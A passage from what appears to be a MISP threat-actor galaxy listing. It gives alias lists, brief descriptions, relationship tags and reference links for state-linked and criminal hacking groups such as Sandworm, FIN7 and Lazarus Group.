https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technical-reports/technical-report_apt_case_ruag.html
https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/
https://www.engadget.com/2017/06/07/russian-malware-hidden-britney-spears-instagram/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.trendmicro.com/vinfo/vn/security/news/cyber-attacks/cyberespionage-group-turla-deploys-backdoor-ahead-of-g20-summit
https://www.zdnet.com/article/this-hacking-gang-just-updated-the-malware-it-uses-against-uk-targets/
https://attack.mitre.org/groups/G0010/
https://www.telsy.com/turla-venomous-bear-updates-its-arsenal-newpass-appears-on-the-apt-threat-scene/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/

https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://cip.gov.ua/services/cm/api/attachment/download?id=60068

ENERGETIC BEAR

A Russian group that collects intelligence on the energy industry.

The tag is: *misp-galaxy:threat-actor="ENERGETIC BEAR"*

ENERGETIC BEAR is also known as:

- BERSERK BEAR
- ALLANITE
- CASTLE
- DYMALLOY
- TG-4192
- Dragonfly
- Crouching Yeti
- Group 24
- Havex
- Koala Team
- IRON LIBERTY
- G0035
- ATK6
- ITG15
- BROMINE
- Blue Kraken
- Ghost Blizzard

View relationships graph

ENERGETIC BEAR has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:microsoft-activity-group="Ghost Blizzard" with estimative-language:likelihood-probability="likely"

Table 18157. Table References

Links
https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
https://web.archive.org/web/20161020180305/http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
http://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans
https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/
https://www.cfr.org/interactive/cyber-operations/crouching-yeti
https://www.reuters.com/article/us-ukraine-cyber-attack-energy-idUSKBN1521BA
https://dragos.com/wp-content/uploads/CrashOverride-01.pdf
https://www.independent.ie/irish-news/statesponsored-hackers-targeted-eirgrid-electricity-network-in-devious-attack-36005921.html
https://www.riskiq.com/blog/labs/energetic-bear/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.kaspersky.com/resource-center/threats/crouching-yeti-energetic-bear-malware-threat
https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672
https://attack.mitre.org/groups/G0035/
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/dymalloy

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

The tag is: *misp-galaxy:threat-actor="Sandworm"*

Sandworm is also known as:

- Quedagh
- VOODOO BEAR
- TEMP.Noble
- IRON VIKING
- G0034
- ELECTRUM
- TeleBots
- IRIDIUM
- Blue Echidna
- FROZENBARENTS
- UAC-0113
- Seashell Blizzard
- UAC-0082
- APT44

View relationships graph

Sandworm has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="GreyEnergy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Seashell Blizzard" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="Sandworm" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="□□ - APT-C-13" with estimative-language:likelihood-probability="likely"

Table 18158. Table References

Links
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.us-cert.gov/ncas/alerts/TA17-163A
https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid
https://web.archive.org/web/20141016132823/https://www.symantec.com/connect/blogs/sandworm-windows-zero-day-vulnerability-being-actively-exploited-targeted-attacks

https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage
https://web.archive.org/web/20141224060545/http://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks/
https://attack.mitre.org/groups/G0034
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://dragos.com/adversaries.html
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks
https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine
https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare
https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back
https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/
https://www.recordedfuture.com/russia-nexus-uac-0113-emulating-telecommunication-providers-in-ukraine
https://cert.gov.ua/article/405538
https://cip.gov.ua/services/cm/api/attachment/download?id=60068
https://packetstormsecurity.com/news/view/35790/Recent-OT-And-Espionage-Attacks-Linked-To-Russias-Sandworm-Now-Named-APT44.html
https://cloud.google.com/blog/topics/threat-intelligence/apt44-unearthing-sandworm?linkId=9627235
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf

FIN7

Groups targeting financial organizations or people with significant financial assets.

The tag is: *misp-galaxy:threat-actor="FIN7"*

FIN7 is also known as:

- CARBON SPIDER
- GOLD NIAGARA

- Calcium
- ATK32
- G0046
- G0008
- Coreid
- Carbanak
- Sangria Tempest
- ELBRUS
- Carbon Spider
- JokerStash

View relationships graph

FIN7 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Sangria Tempest" with estimative-language:likelihood-probability="likely"

Table 18159. Table References

Links
https://en.wikipedia.org/wiki/Carbanak
https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe
http://2014.zeronights.ru/assets/files/slides/ivanovb-zeronights.pdf
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.computerweekly.com/news/252446153/Three-Carbanak-cyber-heist-gang-members-arrested
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf

https://www.group-ib.com/resources/threat-research/Anunak_APT_against_financial_institutions.pdf
https://attack.mitre.org/groups/G0008/
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://threatpost.com/fileless-malware-campaigns-tied-to-same-attacker/124369/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://blog.morphisec.com/fin7-attacks-restaurant-industry
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/
https://blog.morphisec.com/fin7-attack-modifications-revealed
https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://attack.mitre.org/groups/G0046/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://threatintel.blog/OPBlueRaven-Part1/
https://threatintel.blog/OPBlueRaven-Part2/
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/
https://www.wired.com/story/fin7-carbanak-hacking-group-behind-a-string-of-big-breaches/

TeamSpy Crew

Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it's not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the

infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

The tag is: *misp-galaxy:threat-actor="TeamSpy Crew"*

TeamSpy Crew is also known as:

- TeamSpy
- Team Bear
- Anger Bear
- IRON LYRIC

Table 18160. Table References

Links
https://securelist.com/blog/incidents/35520/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/
https://www.cfr.org/interactive/cyber-operations/team-spy-crew
https://threatpost.com/researchers-uncover-teamspy-attack-campaign-targeting-government-research-targets-032013/77646/
https://www.crysys.hu/publications/files/teamspy.pdf
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20134928/theteamspystory_final_t2.pdf
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector

BuhTrap

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

The tag is: *misp-galaxy:threat-actor="BuhTrap"*

Table 18161. Table References

Links

https://www.welivesecurity.com/2015/11/11/operation-buhtrap-malware-distributed-via-ammyy-com/
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.forcepoint.com/blog/security-labs/highly-evasive-code-injection-awaits-user-interaction-delivering-malware
https://www.kaspersky.com/blog/financial-trojans-2019/25690/
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

WOLF SPIDER

FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.

The tag is: *misp-galaxy:threat-actor="WOLF SPIDER"*

WOLF SPIDER is also known as:

- FIN4
- G0085

Table 18162. Table References

Links
https://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623
https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html
https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf
https://pwc.blogs.com/cyber_security_updates/2015/06/unfin4ished-business.html
https://attack.mitre.org/groups/G0085/

Boulder Bear

First observed activity in December 2013.

The tag is: *misp-galaxy:threat-actor="Boulder Bear"*

SHARK SPIDER

This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.

The tag is: *misp-galaxy:threat-actor="SHARK SPIDER"*

UNION SPIDER

Adversary targeting manufacturing and industrial organizations.

The tag is: *misp-galaxy:threat-actor="UNION SPIDER"*

Table 18163. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Silent Chollima

Andariel is a threat actor that primarily targets South Korean corporations and institutions. They are believed to collaborate with or operate as a subsidiary organization of the Lazarus threat group. WHOIS utilizes spear phishing attacks, watering hole attacks, and supply chain attacks for initial access. They have been known to exploit vulnerabilities and use malware such as Infostealer and TigerRAT.

The tag is: *misp-galaxy:threat-actor="Silent Chollima"*

Silent Chollima is also known as:

- OperationTroy
- Guardian of Peace
- GOP
- WHOis Team
- Andariel
- Subgroup: Andariel
- Onyx Sleet
- PLUTONIUM

Table 18164. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

Lazarus Group

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.

The tag is: *misp-galaxy:threat-actor="Lazarus Group"*

Lazarus Group is also known as:

- Operation DarkSeoul
- Dark Seoul
- Hidden Cobra
- Hastati Group
- Andariel
- Unit 121
- Bureau 121
- NewRomanic Cyber Army Team
- Bluenoroff
- Subgroup: Bluenoroff
- Group 77
- Labyrinth Chollima
- Operation Troy
- Operation GhostSecret
- Operation AppleJeus
- APT38
- APT 38
- Stardust Chollima
- Whois Hacking Team
- Zinc
- Appleworm
- Nickel Academy
- APT-C-26

- NICKEL GLADSTONE
- COVELLITE
- ATK3
- G0032
- ATK117
- G0082
- Citrine Sleet
- DEV-0139
- DEV-1222
- Diamond Sleet
- ZINC
- Sapphire Sleet
- COPERNICIUM
- TA404
- Lazarus group
- BeagleBoyz
- Moonstone Sleet
- Black Artemis

View relationships graph

Lazarus Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Operation Sharpshooter" with estimative-language:likelihood-probability="likely"
- linked-to: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="Lazarus group" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="Lazarus - APT-C-26" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Diamond Sleet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Sapphire Sleet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="TraderTraitor" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="STARDUST CHOLLIMA" with estimative-language:likelihood-probability="likely"

Table 18165. Table References

Links
https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://securelist.com/operation-applejeus/87553/
https://securelist.com/lazarus-under-the-hood/77908/
https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/
https://www.cfr.org/interactive/cyber-operations/lazarus-group
https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret
https://www.cfr.org/interactive/cyber-operations/compromise-cryptocurrency-exchanges-south-korea
https://www.bleepingcomputer.com/news/security/lazarus-group-deploys-its-first-mac-malware-in-cryptocurrency-exchange-hack/
https://content.fireeye.com/apt/rpt-apt38
https://blog.malwarebytes.com/threat-analysis/2019/03/the-advanced-persistent-threat-files-lazarus-group/
https://www.theguardian.com/world/2009/jul/08/south-korea-cyber-attack
https://web.archive.org/web/20131123012339/https://www.symantec.com/connect/blogs/trojankoredos-comes-unwelcomed-surprise
https://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html
https://web.archive.org/web/20130607233212/https://www.symantec.com/connect/blogs/south-korean-financial-companies-targeted-castov
https://web.archive.org/web/20130701021735/https://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/the-hack-of-sony-pictures-what-you-need-to-know
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

https://www.us-cert.gov/ncas/analysis-reports/AR19-129A

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/

https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/

https://www.theregister.co.uk/2019/04/10/lazarus_group_malware/

https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/a-look-into-the-lazarus-groups-operations

https://www.kaspersky.com/about/press-releases/2017_chasing-lazarus-a-hunt-for-the-infamous-hackers-to-prevent-large-bank-robberies

https://medium.com/threat-intel/lazarus-attacks-wannacry-5fdeddee476c

https://attack.mitre.org/groups/G0032/

https://threatpost.com/lazarus-apt-spinoff-linked-to-banking-hacks/124746/

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

https://www.bankinfosecurity.com/vietnamese-bank-blocks-1-million-online-heist-a-9105

https://www.reuters.com/article/us-cyber-heist-swift-specialreport-idUSKCN0YB0DD

https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware

https://blog.trendmicro.com/trendlabs-security-intelligence/what-we-can-learn-from-the-bangladesh-central-bank-cyber-heist/

https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware

https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html

https://www.bloomberg.com/news/articles/2018-05-29/mexico-foiled-a-110-million-bank-heist-then-kept-it-a-secret

https://threatpost.com/banco-de-chile-wiper-attack-just-a-cover-for-10m-swift-heist/132796/

https://www.darkreading.com/attacks-breaches/north-korean-hacking-group-steals-$135-million-from-indian-bank-/d/d-id/1332678

https://www.zdnet.com/article/north-korean-hackers-infiltrate-chiles-atm-network-after-skype-job-interview/
https://blogs.jpcert.or.jp/en/2020/08/Lazarus-malware.html
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html
https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/covellite
https://www.hvs-consulting.de/lazarus-report/
https://github.com/hvs-consulting/ioc_signatures/tree/main/Lazarus_APT37
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_tools.html
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
https://attack.mitre.org/groups/G0082
https://attack.mitre.org/groups/G0032
https://www.microsoft.com/en-us/security/blog/2022/12/06/dev-0139-launches-targeted-attacks-against-the-cryptocurrency-industry/
https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds
https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://www.securonix.com/blog/securonix-threat-labs-monthly-intelligence-insights-june-2023/
https://us-cert.cisa.gov/ncas/alerts/aa21-048a
https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/

VICEROY TIGER

VICEROY TIGER is an adversary with a nexus to India that has historically targeted entities throughout multiple sectors. Older activity targeted multiple sectors and countries; however, since 2015 this adversary appears to focus on entities in Pakistan with a particular focus on government and security organizations. This adversary consistently leverages spear phishing emails containing malicious Microsoft Office documents, malware designed to target the Android mobile platform, and phishing activity designed to harvest user credentials. In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the

organization's new attack activity, confirmed and exposed the gang's targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization.

The tag is: *misp-galaxy:threat-actor="VICEROY TIGER"*

VICEROY TIGER is also known as:

- OPERATION HANGOVER
- Donot Team
- APT-C-35
- SectorE02
- Orange Kala

View relationships graph

VICEROY TIGER has relationships with:

- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-09" with estimative-language:likelihood-probability="likely"

Table 18166. Table References

Links
https://github.com/jack8daniels2/threat-INTel/blob/master/2013/Unveiling-an-Indian-Cyberattack-Infrastructure-appendixes.pdf
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.netscout.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia
https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china-en/
https://www.crowdstrike.com/blog/viceroy-tiger-delivers-new-zero-day-exploit/index.html
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/
https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://blog.cyble.com/2021/07/22/donot-apt-group-delivers-a-spyware-variant-of-chat-app/
https://adversary.crowdstrike.com/en-US/adversary/viceroy-tiger
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

PIZZO SPIDER

The tag is: *misp-galaxy:threat-actor="PIZZO SPIDER"*

PIZZO SPIDER is also known as:

- DD4BC
- Ambiorx

Table 18167. Table References

Links
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

Corsair Jackal

The tag is: *misp-galaxy:threat-actor="Corsair Jackal"*

Corsair Jackal is also known as:

- TunisianCyberArmy

Table 18168. Table References

Links
https://web.archive.org/web/20160315044507/https://www.crowdstrike.com/blog/regional-conflict-and-cyber-blowback/

SNOWGLOBE

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

The tag is: *misp-galaxy:threat-actor="SNOWGLOBE"*

SNOWGLOBE is also known as:

- Animal Farm
- Snowglobe
- ATK8

Table 18169. Table References

Links
https://securelist.com/blog/research/69114/animals-in-the-apt-farm/

https://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://www.cfr.org/interactive/cyber-operations/snowglobe
https://resources.infosecinstitute.com/animal-farm-apt-and-the-shadow-of-france-intelligence/

Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been **the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies**. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear

The tag is: *misp-galaxy:threat-actor="Deadeye Jackal"*

Deadeye Jackal is also known as:

- SyrianElectronicArmy
- SEA

Table 18170. Table References

Links
https://en.wikipedia.org/wiki/Syrian_Electronic_Army

Operation C-Major

Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.

The tag is: *misp-galaxy:threat-actor="Operation C-Major"*

Operation C-Major is also known as:

- C-Major
- Transparent Tribe

- Mythic Leopard
- ProjectM
- APT36
- APT 36
- TMP.Lapis
- Green Havildar
- COPPER FIELDSTONE
- Earth Karkaddan
- Storm-0156

View relationships graph

Operation C-Major has relationships with:

- similar: misp-galaxy:360net-threat-actor="□□□□ - APT-C-56" with estimative-language:likelihood-probability="likely"

Table 18171. Table References

Links
http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.amnesty.org/en/documents/asa33/8366/2018/en/
https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe
https://mkd-cirt.mk/wp-content/uploads/2018/08/20181009_3_1_M-Trends2018-May-2018-compressed.pdf
https://nciipc.gov.in/documents/NCIIPC_Newsletter_July18.pdf
https://cysinfo.com/cyber-attack-targeting-cbi-and-possibly-indian-army-officials
https://s.tencent.com/research/report/669.html
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
https://www.sentinelone.com/labs/capratube-transparent-tribes-caprarat-mimics-youtube-to-hijack-android-phones/
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/

https://www.reco.ai/blog/how-apt36-elizarat-redefines-cyber-espionage

Stealth Falcon

This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.

The tag is: *misp-galaxy:threat-actor="Stealth Falcon"*

Stealth Falcon is also known as:

- FruityArmor
- G0038

View relationships graph

Stealth Falcon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"

Table 18172. Table References

Links
https://citizenlab.ca/2016/05/stealth-falcon/
https://www.cfr.org/interactive/cyber-operations/stealth-falcon
